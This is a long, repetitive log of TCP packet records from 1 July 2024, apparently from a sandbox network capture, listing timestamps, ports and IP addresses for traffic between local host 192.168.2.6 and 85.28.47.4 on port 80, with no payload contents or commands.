Jul 1, 2024 07:20:36.993921995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.993926048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.993957043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.993971109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.993993044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994008064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994035959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994056940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994077921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994083881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994119883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994126081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994164944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994170904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994208097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994216919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994249105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994259119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994282007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994287968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994314909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994348049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994349957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994357109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994384050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994399071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994419098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994426966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994451046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994458914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994488955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994493961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994524002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994529963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994558096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994566917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994599104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994611025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994642019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994651079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994680882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994693041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994728088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994735003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994761944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994766951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994795084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994801044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994836092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994846106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994879961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994888067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994913101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994920015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994946003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.994950056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.994997978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995001078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995050907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995057106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995091915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995095015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995126009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995134115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995160103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995168924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995203018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995213032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995245934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995250940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995290995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995297909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995331049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995340109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995364904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995372057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995398998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995409012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995429993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995440960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995464087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995469093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995497942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995505095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995532036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995541096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995565891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995574951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995600939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995609045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995634079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995637894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995683908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995686054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995719910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995745897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995753050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995760918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995788097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995795965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995820999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995829105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995856047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995866060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995888948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995898962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995924950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.995929003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.995954990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996005058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996006012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996037006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996048927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996072054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996078968 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996107101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996112108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996143103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996149063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996186018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996193886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996227026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996243000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996259928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996269941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996306896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996309996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996345997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996361971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996377945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996400118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996422052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996428967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996463060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996474981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996505022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996529102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996562958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.996572018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.996607065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055583954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055619001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055651903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055665970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055690050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055702925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055718899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055751085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055769920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055784941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055814981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055840969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055850029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055883884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055908918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055916071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055927992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055967093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055980921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.055984020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.055998087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.056013107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.056018114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.056065083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.056049109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.056101084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.056123972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.056133986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.056171894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.056193113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.066724062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.066756964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.066790104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.066806078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.066833973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.067090988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.067136049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.067142010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.067177057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.067184925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.067210913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.067217112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.067260027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.067272902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.067300081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.077729940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.077806950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.077852964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.077857971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.077866077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.077908993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.077910900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.077945948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.077954054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.077986956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.077995062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078031063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078033924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078072071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078083992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078115940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078124046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078147888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078152895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078178883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078190088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078221083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078231096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078264952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078264952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078298092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078313112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078340054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078362942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078408957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078429937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078493118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078493118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078533888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078535080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078542948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078574896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078583002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078615904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078618050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078653097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078656912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078689098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078694105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078718901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.078730106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.078761101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.086702108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086735010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086765051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.086779118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.086802959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086847067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.086870909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086905003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086915970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.086945057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.086955070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086988926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.086996078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087022066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087043047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087055922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087064981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087086916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087096930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087125063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087137938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087172031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087179899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087214947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087220907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087255955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087270021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087289095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087294102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087327957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087340117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087372065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087380886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087409019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087413073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087440968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087443113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087481022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087496996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087507010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087532043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087541103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087546110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087574005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087605000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087624073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087706089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087718964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087719917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087762117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087816954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087830067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087862015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087876081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087876081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087896109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087903023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087932110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087943077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087944984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087965965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.087977886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.087986946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088011980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088021040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088044882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088049889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088078976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088085890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088118076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088140011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088181019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088191986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088224888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088237047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088259935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088268995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088294983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088304043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088329077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088340998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088362932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088388920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088396072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088402987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088438988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088448048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088498116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088537931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088577032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088577986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088609934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088613033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088646889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088653088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088681936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088709116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088712931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088723898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088747025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088759899 CEST	49711	80	192.168.2.6	85.28.47.4
